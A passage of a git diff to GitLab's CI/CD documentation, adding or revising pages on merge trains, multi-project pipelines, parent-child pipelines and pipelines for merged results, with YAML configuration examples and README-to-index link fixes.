+ [external repository](../ci_cd_for_external_repos/index.md).
+
+## Enable merge trains
+
+To enable merge trains for your project:
+
+1. If you are on a self-managed GitLab instance, ensure the [feature flag](#merge-trains-feature-flag) is set correctly.
+1. [Configure your CI/CD configuration file](merge_request_pipelines.md#configure-pipelines-for-merge-requests)
+ so that the pipeline or individual jobs run for merge requests.
+1. Visit your project's **Settings > General** and expand **Merge requests**.
+1. In the **Merge method** section, verify that **Merge commit** is selected.
+ You cannot use **Merge commit with semi-linear history** or **Fast-forward merge** with merge trains.
+1. In the **Merge options** section, select **Enable merged results pipelines.** (if not already selected) and **Enable merge trains.**
+1. Click **Save changes**
+
+In GitLab 13.5 and earlier, there is only one checkbox, named
+**Enable merge trains and pipelines for merged results**.
+
+WARNING:
+If you select the check box but don't configure your CI/CD to use
+pipelines for merge requests, your merge requests may become stuck in an
+unresolved state or your pipelines may be dropped.
+
+## Start a merge train
+
+To start a merge train:
+
+1. Visit a merge request.
+1. Click the **Start merge train** button.
+
+![Start merge train](img/merge_train_start_v12_0.png)
+
+Other merge requests can now be added to the train.
+
+## Add a merge request to a merge train
+
+To add a merge request to a merge train:
+
+1. Visit a merge request.
+1. Click the **Add to merge train** button.
+
+If pipelines are already running for the merge request, you cannot add the merge request
+to the train. Instead, you can schedule to add the merge request to a merge train **when the latest
+pipeline succeeds**.
+
+![Add to merge train when pipeline succeeds](img/merge_train_start_when_pipeline_succeeds_v12_0.png)
+
+## Remove a merge request from a merge train
+
+1. Visit a merge request.
+1. Click the **Remove from merge train** button.
+
+![Cancel merge train](img/merge_train_cancel_v12_0.png)
+
+If you want to add the merge request to a merge train again later, you can.
+
+## View a merge request's current position on the merge train
+
+After a merge request has been added to the merge train, the merge request's
+current position is displayed under the pipeline widget:
+
+![Merge train position indicator](img/merge_train_position_v12_0.png)
+
+## Immediately merge a merge request with a merge train
+
+If you have a high-priority merge request (for example, a critical patch) that must
+be merged urgently, you can bypass the merge train by using the **Merge Immediately** option.
+This is the fastest option to get the change merged into the target branch.
+
+![Merge Immediately](img/merge_train_immediate_merge_v12_6.png)
+
+WARNING:
+Each time you merge a merge request immediately, the current merge train
+is recreated and all pipelines restart.
+
+## Troubleshooting
+
+### Merge request dropped from the merge train immediately
+
+If a merge request is not mergeable (for example, it's a draft merge request, there is a merge
+conflict, etc.), your merge request is dropped from the merge train automatically.
+
+In these cases, the reason for dropping the merge request is in the **system notes**.
+
+To check the reason:
+
+1. Open the merge request that was dropped from the merge train.
+1. Open the **Discussion** tab.
+1. Find a system note that includes either:
+ - The text **... removed this merge request from the merge train because ...**
+ - **... aborted this merge request from the merge train because ...**
+ The reason is given in the text after the **because ...** phrase.
+
+![Merge Train Failure](img/merge_train_failure.png)
+
+### Merge When Pipeline Succeeds cannot be chosen
+
+[Merge When Pipeline Succeeds](../../user/project/merge_requests/merge_when_pipeline_succeeds.md)
+is currently unavailable when Merge Trains are enabled.
+
+See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/12267)
+for more information.
+
+### Merge Train Pipeline cannot be retried
+
+When a pipeline for merge trains fails the merge request is dropped from the train and the pipeline can't be retried.
+Pipelines for merge trains run on the merged result of the changes in the merge request and
+the changes from other merge requests already on the train. If the merge request is dropped from the train,
+the merged result is out of date and the pipeline can't be retried.
+
+Instead, you should [add the merge request to the train](#add-a-merge-request-to-a-merge-train)
+again, which triggers a new pipeline.
+
+### Unable to add to merge train with message "The pipeline for this merge request failed."
+
+Sometimes the **Start/Add to Merge Train** button is not available and the merge request says,
+"The pipeline for this merge request failed. Please retry the job or push a new commit to fix the failure."
+
+This issue occurs when [**Pipelines must succeed**](../../user/project/merge_requests/merge_when_pipeline_succeeds.md#only-allow-merge-requests-to-be-merged-if-the-pipeline-succeeds)
+is enabled in **Settings > General > Merge requests**. This option requires that you
+run a new successful pipeline before you can re-add a merge request to a merge train.
+
+Merge trains ensure that each pipeline has succeeded before a merge happens, so
+you can clear the **Pipelines must succeed** check box and keep
+**Enable merge trains and pipelines for merged results** (merge trains) enabled.
+
+If you want to keep the **Pipelines must succeed** option enabled along with Merge
+Trains, create a new pipeline for merged results when this error occurs:
+
+1. Go to the **Pipelines** tab and click **Run pipeline**.
+1. Click **Start/Add to merge train when pipeline succeeds**.
+
+See [the related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/35135)
+for more information.
+
+### Merge Trains feature flag **(PREMIUM SELF)**
+
+In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/244831),
+you can [enable or disable merge trains in the project settings](#enable-merge-trains).
+
+In GitLab 13.5 and earlier, merge trains are automatically enabled when
+[pipelines for merged results](pipelines_for_merged_results.md) are enabled.
+To use pipelines for merged results without using merge trains, you can enable a
+[feature flag](../../user/feature_flags.md) that blocks the merge trains feature.
+
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable the feature flag to disable merge trains:
+
+```ruby
+Feature.enable(:disable_merge_trains)
+```
+
+After you enable this feature flag, all existing merge trains are cancelled and
+the **Start/Add to Merge Train** button no longer appears in merge requests.
+
+To disable the feature flag, and enable merge trains again:
+
+```ruby
+Feature.disable(:disable_merge_trains)
+```
diff --git a/doc/ci/pipelines/multi_project_pipelines.md b/doc/ci/pipelines/multi_project_pipelines.md
new file mode 100644
index 00000000000..e3fe0fd20f5
--- /dev/null
+++ b/doc/ci/pipelines/multi_project_pipelines.md
@@ -0,0 +1,329 @@
+---
+stage: Verify
+group: Pipeline Authoring
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Multi-project pipelines **(FREE)**
+
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
+
+You can set up [GitLab CI/CD](../index.md) across multiple projects, so that a pipeline
+in one project can trigger a pipeline in another project. You can visualize the entire pipeline
+in one place, including all cross-project interdependencies.
+
+For example, you might deploy your web application from three different projects in GitLab.
+Each project has its own build, test, and deploy process. With multi-project pipelines you can
+visualize the entire pipeline, including all build and test stages for all three projects.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see the [Multi-project pipelines demo](https://www.youtube.com/watch?v=g_PIwBM1J84).
+
+Multi-project pipelines are also useful for larger products that require cross-project interdependencies, like those
+with a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/).
+Learn more in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/)
+at GitLab@learn, in the Continuous Integration section.
+
+If you trigger a pipeline in a downstream private project, on the upstream project's pipelines page,
+you can view:
+
+- The name of the project.
+- The status of the pipeline.
+
+If you have a public project that can trigger downstream pipelines in a private project,
+make sure there are no confidentiality problems.
+
+## Create multi-project pipelines
+
+To create multi-project pipelines, you can:
+
+- [Define them in your `.gitlab-ci.yml` file](#define-multi-project-pipelines-in-your-gitlab-ciyml-file).
+- [Use the API](#create-multi-project-pipelines-by-using-the-api).
+
+### Define multi-project pipelines in your `.gitlab-ci.yml` file
+
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
+
+When you create a multi-project pipeline in your `.gitlab-ci.yml` file,
+you create what is called a *trigger job*. For example:
+
+```yaml
+rspec:
+ stage: test
+ script: bundle exec rspec
+
+staging:
+ variables:
+ ENVIRONMENT: staging
+ stage: deploy
+ trigger: my/deployment
+```
+
+In this example, after the `rspec` job succeeds in the `test` stage,
+the `staging` trigger job starts. The initial status of this
+job is `pending`.
+
+GitLab then creates a downstream pipeline in the
+`my/deployment` project and, as soon as the pipeline is created, the
+`staging` job succeeds. The full path to the project is `my/deployment`.
+
+You can view the status for the pipeline, or you can display
+[the downstream pipeline's status instead](#mirror-status-of-a-triggered-pipeline-in-the-trigger-job).
+
+The user that creates the upstream pipeline must be able to create pipelines in the
+downstream project (`my/deployment`) too. If the downstream project is not found,
+or the user does not have [permission](../../user/permissions.md) to create a pipeline there,
+the `staging` job is marked as _failed_.
+
+#### Trigger job configuration keywords
+
+Trigger jobs can use only a limited set of the GitLab CI/CD [configuration keywords](../yaml/index.md).
+The keywords available for use in trigger jobs are:
+
+- [`trigger`](../yaml/index.md#trigger)
+- [`stage`](../yaml/index.md#stage)
+- [`allow_failure`](../yaml/index.md#allow_failure)
+- [`rules`](../yaml/index.md#rules)
+- [`only` and `except`](../yaml/index.md#only--except)
+- [`when`](../yaml/index.md#when) (only with a value of `on_success`, `on_failure`, or `always`)
+- [`extends`](../yaml/index.md#extends)
+- [`needs`](../yaml/index.md#needs)
+
+#### Specify a downstream pipeline branch
+
+You can specify a branch name for the downstream pipeline to use.
+GitLab uses the commit on the head of the branch to
+create the downstream pipeline.
+
+```yaml
+rspec:
+ stage: test
+ script: bundle exec rspec
+
+staging:
+ stage: deploy
+ trigger:
+ project: my/deployment
+ branch: stable-11-2
+```
+
+Use:
+
+- The `project` keyword to specify the full path to a downstream project.
+- The `branch` keyword to specify the name of a branch in the project specified by `project`.
+ [In GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126) and later, variable expansion is
+ supported.
+
+Pipelines triggered on a protected branch in a downstream project use the [role](../../user/permissions.md)
+of the user that ran the trigger job in the upstream project. If the user does not
+have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See
+[pipeline security for protected branches](index.md#pipeline-security-on-protected-branches).
+
+#### Pass CI/CD variables to a downstream pipeline by using the `variables` keyword
+
+Sometimes you might want to pass CI/CD variables to a downstream pipeline.
+You can do that by using the `variables` keyword, just like you would for any other job.
+
+```yaml
+rspec:
+ stage: test
+ script: bundle exec rspec
+
+staging:
+ variables:
+ ENVIRONMENT: staging
+ stage: deploy
+ trigger: my/deployment
+```
+
+The `ENVIRONMENT` variable is passed to every job defined in a downstream
+pipeline. It is available as a variable when GitLab Runner picks a job.
+
+In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline
+that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream`
+job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline.
+
+```yaml
+variables:
+ MY_VARIABLE: my-value
+
+trigger-downstream:
+ variables:
+ ENVIRONMENT: something
+ trigger: my/project
+```
+
+You can stop global variables from reaching the downstream pipeline by using the [`inherit` keyword](../yaml/index.md#inherit).
+In this example, the `MY_GLOBAL_VAR` variable is not available in the triggered pipeline:
+
+```yaml
+variables:
+ MY_GLOBAL_VAR: value
+
+trigger-downstream:
+ inherit:
+ variables: false
+ variables:
+ MY_LOCAL_VAR: value
+ trigger: my/project
+```
+
+You might want to pass some information about the upstream pipeline using, for
+example, predefined variables. In order to do that, you can use interpolation
+to pass any variable. For example:
+
+```yaml
+downstream-job:
+ variables:
+ UPSTREAM_BRANCH: $CI_COMMIT_REF_NAME
+ trigger: my/project
+```
+
+In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the
+upstream pipeline is passed to the `downstream-job` job. It is available
+in the context of all downstream builds.
+
+Upstream pipelines take precedence over downstream ones. If there are two
+variables with the same name defined in both upstream and downstream projects,
+the ones defined in the upstream project take precedence.
+
+#### Pass CI/CD variables to a downstream pipeline by using variable inheritance
+
+You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](../variables/index.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](../yaml/index.md#cross-project-artifact-downloads-with-needs).
+
+In the upstream pipeline:
+
+1. Save the variables in a `.env` file.
+1. Save the `.env` file as a `dotenv` report.
+1. Trigger the downstream pipeline.
+
+ ```yaml
+ build_vars:
+ stage: build
+ script:
+ - echo "BUILD_VERSION=hello" >> build.env
+ artifacts:
+ reports:
+ dotenv: build.env
+
+ deploy:
+ stage: deploy
+ trigger: my/downstream_project
+ ```
+
+1. Set the `test` job in the downstream pipeline to inherit the variables from the `build_vars`
+ job in the upstream project with `needs:`. The `test` job inherits the variables in the
+ `dotenv` report and it can access `BUILD_VERSION` in the script:
+
+ ```yaml
+ test:
+ stage: test
+ script:
+ - echo $BUILD_VERSION
+ needs:
+ - project: my/upstream_project
+ job: build_vars
+ ref: master
+ artifacts: true
+ ```
+
+#### Use `rules` or `only`/`except` with multi-project pipelines
+
+You can use CI/CD variables or the [`rules`](../yaml/index.md#rulesif) keyword to
+[control job behavior](../jobs/job_control.md) for multi-project pipelines. When a
+downstream pipeline is triggered with the [`trigger`](../yaml/index.md#trigger) keyword,
+the value of the [`$CI_PIPELINE_SOURCE` predefined variable](../variables/predefined_variables.md)
+is `pipeline` for all its jobs.
+
+If you use [`only/except`](../yaml/index.md#only--except) to control job behavior, use the
+[`pipelines`](../yaml/index.md#onlyrefs--exceptrefs) keyword.
+
+#### Mirror status of a triggered pipeline in the trigger job
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
+
+You can mirror the pipeline status from the triggered pipeline to the source
+trigger job by using `strategy: depend`. For example:
+
+```yaml
+trigger_job:
+ trigger:
+ project: my/project
+ strategy: depend
+```
+
+#### Mirror status from upstream pipeline
+
+You can mirror the pipeline status from an upstream pipeline to a bridge job by
+using the `needs:pipeline` keyword. The latest pipeline status from the default branch is
+replicated to the bridge job.
+
+For example:
+
+```yaml
+upstream_bridge:
+ stage: test
+ needs:
+ pipeline: other/project
+```
+
+### Create multi-project pipelines by using the API
+
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4.
+
+When you use the [`CI_JOB_TOKEN` to trigger pipelines](../triggers/index.md#ci-job-token),
+GitLab recognizes the source of the job token. The pipelines become related,
+so you can visualize their relationships on pipeline graphs.
+
+These relationships are displayed in the pipeline graph by showing inbound and
+outbound connections for upstream and downstream pipeline dependencies.
+
+When using:
+
+- CI/CD variables or [`rules`](../yaml/index.md#rulesif) to control job behavior, the value of
+ the [`$CI_PIPELINE_SOURCE` predefined variable](../variables/predefined_variables.md) is
+ `pipeline` for multi-project pipeline triggered through the API with `CI_JOB_TOKEN`.
+- [`only/except`](../yaml/index.md#only--except) to control job behavior, use the
+ `pipelines` keyword.
+
+## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8.
+
+You can trigger a pipeline in your project whenever a pipeline finishes for a new
+tag in a different project.
+
+Prerequisites:
+
+- The upstream project must be [public](../../public_access/public_access.md).
+- The user must have the [Developer role](../../user/permissions.md#project-members-permissions)
+ in the upstream project.
+
+To trigger the pipeline when the upstream project is rebuilt:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD** page.
+1. Expand the **Pipeline subscriptions** section.
+1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`.
+ For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`.
+1. Select **Subscribe**.
+
+Any pipelines that complete successfully for new tags in the subscribed project
+now trigger a pipeline on the current project's default branch. The maximum
+number of upstream pipeline subscriptions is 2 by default, for both the upstream and
+downstream projects. On self-managed instances, an administrator can change this
+[limit](../../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project).
+
+## Multi-project pipeline visualization **(PREMIUM)**
+
+When you configure GitLab CI/CD for your project, you can visualize the stages of your
+[jobs](index.md#configure-a-pipeline) on a [pipeline graph](index.md#visualize-pipelines).
+
+![Multi-project pipeline graph](img/multi_project_pipeline_graph.png)
+
+In the merge request, on the **Pipelines** tab, multi-project pipeline mini-graphs are displayed.
+They expand and are shown adjacent to each other when hovering (or tapping on touchscreen devices).
+
+![Multi-project mini graph](img/multi_pipeline_mini_graph.gif)
diff --git a/doc/ci/pipelines/parent_child_pipelines.md b/doc/ci/pipelines/parent_child_pipelines.md
new file mode 100644
index 00000000000..2e29f4fe812
--- /dev/null
+++ b/doc/ci/pipelines/parent_child_pipelines.md
@@ -0,0 +1,192 @@
+---
+stage: Verify
+group: Pipeline Authoring
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Parent-child pipelines **(FREE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7.
+
+As pipelines grow more complex, a few related problems start to emerge:
+
+- The staged structure, where all steps in a stage must be completed before the first
+ job in next stage begins, causes arbitrary waits, slowing things down.
+- Configuration for the single global pipeline becomes very long and complicated,
+ making it hard to manage.
+- Imports with [`include`](../yaml/index.md#include) increase the complexity of the configuration, and create the potential
+ for namespace collisions where jobs are unintentionally duplicated.
+- Pipeline UX can become unwieldy with so many jobs and stages to work with.
+
+Additionally, sometimes the behavior of a pipeline needs to be more dynamic. The ability
+to choose to start sub-pipelines (or not) is a powerful ability, especially if the
+YAML is dynamically generated.
+
+![Parent pipeline graph expanded](img/parent_pipeline_graph_expanded_v12_6.png)
+
+Similarly to [multi-project pipelines](multi_project_pipelines.md), a pipeline can trigger a
+set of concurrently running child pipelines, but within the same project:
+
+- Child pipelines still execute each of their jobs according to a stage sequence, but
+ would be free to continue forward through their stages without waiting for unrelated
+ jobs in the parent pipeline to finish.
+- The configuration is split up into smaller child pipeline configurations, which are
+ easier to understand. This reduces the cognitive load to understand the overall configuration.
+- Imports are done at the child pipeline level, reducing the likelihood of collisions.
+- Each pipeline has only relevant steps, making it easier to understand what's going on.
+
+Child pipelines work well with other GitLab CI/CD features:
+
+- Use [`rules: changes`](../yaml/index.md#ruleschanges) to trigger pipelines only when
+ certain files change. This is useful for monorepos, for example.
+- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal
+ pipelines, they can have their own behaviors and sequencing in relation to triggers.
+
+See the [`trigger:`](../yaml/index.md#trigger) keyword documentation for full details on how to
+include the child pipeline configuration.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8KpBSqZNbk).
+
+## Examples
+
+The simplest case is [triggering a child pipeline](../yaml/index.md#trigger) using a
+local YAML file to define the pipeline configuration. In this case, the parent pipeline
+triggers the child pipeline, and continues without waiting:
+
+```yaml
+microservice_a:
+ trigger:
+ include: path/to/microservice_a.yml
+```
+
+You can include multiple files when composing a child pipeline:
+
+```yaml
+microservice_a:
+ trigger:
+ include:
+ - local: path/to/microservice_a.yml
+ - template: Security/SAST.gitlab-ci.yml
+```
+
+In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) and later,
+you can use [`include:file`](../yaml/index.md#includefile) to trigger child pipelines
+with a configuration file in a different project:
+
+```yaml
+microservice_a:
+ trigger:
+ include:
+ - project: 'my-group/my-pipeline-library'
+ file: 'path/to/ci-config.yml'
+```
+
+The maximum number of entries that are accepted for `trigger:include:` is three.
+
+Similar to [multi-project pipelines](multi_project_pipelines.md#mirror-status-of-a-triggered-pipeline-in-the-trigger-job),
+we can set the parent pipeline to depend on the status of the child pipeline upon completion:
+
+```yaml
+microservice_a:
+ trigger:
+ include:
+ - local: path/to/microservice_a.yml
+ - template: Security/SAST.gitlab-ci.yml
+ strategy: depend
+```
+
+## Merge Request child pipelines
+
+To trigger a child pipeline as a [Merge Request Pipeline](merge_request_pipelines.md) we need to:
+
+- Set the trigger job to run on merge requests:
+
+```yaml
+# parent .gitlab-ci.yml
+microservice_a:
+ trigger:
+ include: path/to/microservice_a.yml
+ rules:
+ - if: $CI_MERGE_REQUEST_ID
+```
+
+- Configure the child pipeline by either:
+
+ - Setting all jobs in the child pipeline to evaluate in the context of a merge request:
+
+ ```yaml
+ # child path/to/microservice_a.yml
+ workflow:
+ rules:
+ - if: $CI_MERGE_REQUEST_ID
+
+ job1:
+ script: ...
+
+ job2:
+ script: ...
+ ```
+
+ - Alternatively, setting the rule per job. For example, to create only `job1` in
+ the context of merge request pipelines:
+
+ ```yaml
+ # child path/to/microservice_a.yml
+ job1:
+ script: ...
+ rules:
+ - if: $CI_MERGE_REQUEST_ID
+
+ job2:
+ script: ...
+ ```
+
+## Dynamic child pipelines
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9.
+
+Instead of running a child pipeline from a static YAML file, you can define a job that runs
+your own script to generate a YAML file, which is then [used to trigger a child pipeline](../yaml/index.md#trigger-child-pipeline-with-generated-configuration-file).
+
+This technique can be very powerful in generating pipelines targeting content that changed or to
+build a matrix of targets and architectures.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see [Create child pipelines using dynamically generated configurations](https://youtu.be/nMdfus2JWHM).
+
+<!-- vale gitlab.Spelling = NO -->
+We also have an example project using
+[Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet)
+which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/).
+<!-- vale gitlab.Spelling = NO -->
+
+The artifact path is parsed by GitLab, not the runner, so the path must match the
+syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows
+runner for testing, the path separator for the trigger job would be `/`. Other CI/CD
+configuration for jobs, like scripts, that use the Windows runner would use `\`.
+
+In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail.
+This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070).
+
+## Nested child pipelines
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4.
+> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/243747) in GitLab 13.5.
+
+Parent and child pipelines were introduced with a maximum depth of one level of child
+pipelines, which was later increased to two. A parent pipeline can trigger many child
+pipelines, and these child pipelines can trigger their own child pipelines. It's not
+possible to trigger another level of child pipelines.
+
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+For an overview, see [Nested Dynamic Pipelines](https://youtu.be/C5j3ju9je2M).
+
+## Pass CI/CD variables to a child pipeline
+
+You can pass CI/CD variables to a downstream pipeline using the same methods as
+multi-project pipelines:
+
+- [By using the `variable` keyword](multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword).
+- [By using variable inheritance](multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance).
diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md
index 78031ec1d97..1b23727b142 100644
--- a/doc/ci/pipelines/pipeline_architectures.md
+++ b/doc/ci/pipelines/pipeline_architectures.md
@@ -18,7 +18,7 @@ own advantages. These methods can be mixed and matched if needed:
- [Child/Parent Pipelines](#child--parent-pipelines): Good for monorepos and projects with lots of independently defined components.
For more details about
-any of the keywords used below, check out our [CI YAML reference](../yaml/README.md) for details.
+any of the keywords used below, check out our [CI YAML reference](../yaml/index.md) for details.
## Basic Pipelines
@@ -96,7 +96,7 @@ deploy_b:
If efficiency is important to you and you want everything to run as quickly as possible,
you can use [Directed Acyclic Graphs (DAG)](../directed_acyclic_graph/index.md). Use the
-[`needs` keyword](../yaml/README.md#needs) to define dependency relationships between
+[`needs` keyword](../yaml/index.md#needs) to define dependency relationships between
your jobs. When GitLab knows the relationships between your jobs, it can run everything
as fast as possible, and even skips into subsequent stages when possible.
@@ -162,13 +162,13 @@ deploy_b:
## Child / Parent Pipelines
In the examples above, it's clear we've got two types of things that could be built independently.
-This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via
-the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration
+This is an ideal case for using [Child / Parent Pipelines](parent_child_pipelines.md)) via
+the [`trigger` keyword](../yaml/index.md#trigger). It separates out the configuration
into multiple files, keeping things very simple. You can also combine this with:
-- The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only
+- The [`rules` keyword](../yaml/index.md#rules): For example, have the child pipelines triggered only
when there are changes to that area.
-- The [`include` keyword](../yaml/README.md#include): Bring in common behaviors, ensuring
+- The [`include` keyword](../yaml/index.md#include): Bring in common behaviors, ensuring
you are not repeating yourself.
- [DAG pipelines](#directed-acyclic-graph-pipelines) inside of child pipelines, achieving the benefits of both.
diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md
index b80a056bbca..55555571f97 100644
--- a/doc/ci/pipelines/pipeline_artifacts.md
+++ b/doc/ci/pipelines/pipeline_artifacts.md
@@ -9,7 +9,7 @@ type: reference, howto
Pipeline artifacts are files created by GitLab after a pipeline finishes. These are different than [job artifacts](job_artifacts.md) because they are not explicitly managed by the `.gitlab-ci.yml` definitions.
-Pipeline artifacts are used by the [test coverage visualization feature](../../user/project/merge_requests/test_coverage_visualization.md) to collect coverage information. It uses the [`artifacts: reports`](../yaml/README.md#artifactsreports) CI/CD keyword.
+Pipeline artifacts are used by the [test coverage visualization feature](../../user/project/merge_requests/test_coverage_visualization.md) to collect coverage information. It uses the [`artifacts: reports`](../yaml/index.md#artifactsreports) CI/CD keyword.
## Storage
diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md
index 5bb435dddf6..91560a0420f 100644
--- a/doc/ci/pipelines/pipeline_efficiency.md
+++ b/doc/ci/pipelines/pipeline_efficiency.md
@@ -33,7 +33,7 @@ heavily influenced by the:
- The ["critical path"](#directed-acyclic-graphs-dag-visualization), which represents
the minimum and maximum pipeline duration.
-Additional points to pay attention relate to [GitLab Runners](../runners/README.md):
+Additional points to pay attention relate to [GitLab Runners](../runners/index.md):
- Availability of the runners and the resources they are provisioned with.
- Build dependencies and their installation time.
@@ -62,7 +62,7 @@ It's important to understand and document the pipeline workflows, and discuss po
actions and changes. Refactoring pipelines may need careful interaction between teams
in the DevSecOps lifecycle.
-Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/README.md)
+Pipeline analysis can help identify issues with cost efficiency. For example, [runners](../runners/index.md)
hosted with a paid cloud service may be provisioned with:
- More resources than needed for CI/CD pipelines, wasting money.
@@ -100,7 +100,7 @@ representation of pipeline health.
Instance administrators have access to additional [performance metrics and self-monitoring](../../administration/monitoring/index.md).
-You can fetch specific pipeline health metrics from the [API](../../api/README.md).
+You can fetch specific pipeline health metrics from the [API](../../api/index.md).
External monitoring tools can poll the API and verify pipeline health or collect
metrics for long term SLA analytics.
@@ -146,7 +146,7 @@ with embedded metric charts and all valuable details to analyze the problem.
Review the storage use of the following to help analyze costs and efficiency:
-- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/README.md#artifactsexpire_in)
+- [Job artifacts](job_artifacts.md) and their [`expire_in`](../yaml/index.md#artifactsexpire_in)
configuration. If kept for too long, storage usage grows and could slow pipelines down.
- [Container registry](../../user/packages/container_registry/index.md) usage.
- [Package registry](../../user/packages/package_registry/index.md) usage.
@@ -162,9 +162,9 @@ make pipelines run faster and more efficiently.
Try to find which jobs don't need to run in all situations, and use pipeline configuration
to stop them from running:
-- Use the [`interruptible`](../yaml/README.md#interruptible) keyword to stop old pipelines
+- Use the [`interruptible`](../yaml/index.md#interruptible) keyword to stop old pipelines
when they are superseded by a newer pipeline.
-- Use [`rules`](../yaml/README.md#rules) to skip tests that aren't needed. For example,
+- Use [`rules`](../yaml/index.md#rules) to skip tests that aren't needed. For example,
skip backend tests when only the frontend code is changed.
- Run non-essential [scheduled pipelines](schedules.md) less frequently.
@@ -186,7 +186,7 @@ shouldn't run, saving pipeline resources.
In a basic configuration, jobs always wait for all other jobs in earlier stages to complete
before running. This is the simplest configuration, but it's also the slowest in most
cases. [Directed Acyclic Graphs](../directed_acyclic_graph/index.md) and
-[parent/child pipelines](../parent_child_pipelines.md) are more flexible and can
+[parent/child pipelines](parent_child_pipelines.md) are more flexible and can
be more efficient, but can also make pipelines harder to understand and analyze.
### Caching
@@ -195,7 +195,7 @@ Another optimization method is to [cache](../caching/index.md) dependencies. If
dependencies change rarely, like [NodeJS `/node_modules`](../caching/index.md#cache-nodejs-dependencies),
caching can make pipeline execution much faster.
-You can use [`cache:when`](../yaml/README.md#cachewhen) to cache downloaded dependencies
+You can use [`cache:when`](../yaml/index.md#cachewhen) to cache downloaded dependencies
even when a job fails.
### Docker Images
diff --git a/doc/ci/pipelines/pipelines_for_merged_results.md b/doc/ci/pipelines/pipelines_for_merged_results.md
new file mode 100644
index 00000000000..efa6a373ef3
--- /dev/null
+++ b/doc/ci/pipelines/pipelines_for_merged_results.md
@@ -0,0 +1,135 @@
+---
+stage: Verify
+group: Pipeline Execution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+last_update: 2019-07-03
+---
+
+# Pipelines for merged results **(PREMIUM)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7380) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.10.
+
+When you submit a merge request, you are requesting to merge changes from a
+source branch into a target branch. By default, the CI pipeline runs jobs
+against the source branch.
+
+With *pipelines for merged results*, the pipeline runs as if the changes from
+the source branch have already been merged into the target branch. The commit shown for the pipeline does not exist on the source or target branches but represents the combined target and source branches.
+
+![Merge request widget for merged results pipeline](img/merged_result_pipeline.png)
+
+If the pipeline fails due to a problem in the target branch, you can wait until the
+target is fixed and re-run the pipeline.
+This new pipeline runs as if the source is merged with the updated target, and you
+don't need to rebase.
+
+The pipeline does not automatically run when the target branch changes. Only changes
+to the source branch trigger a new pipeline. If a long time has passed since the last successful
+pipeline, you may want to re-run it before merge, to ensure that the source changes
+can still be successfully merged into the target.
+
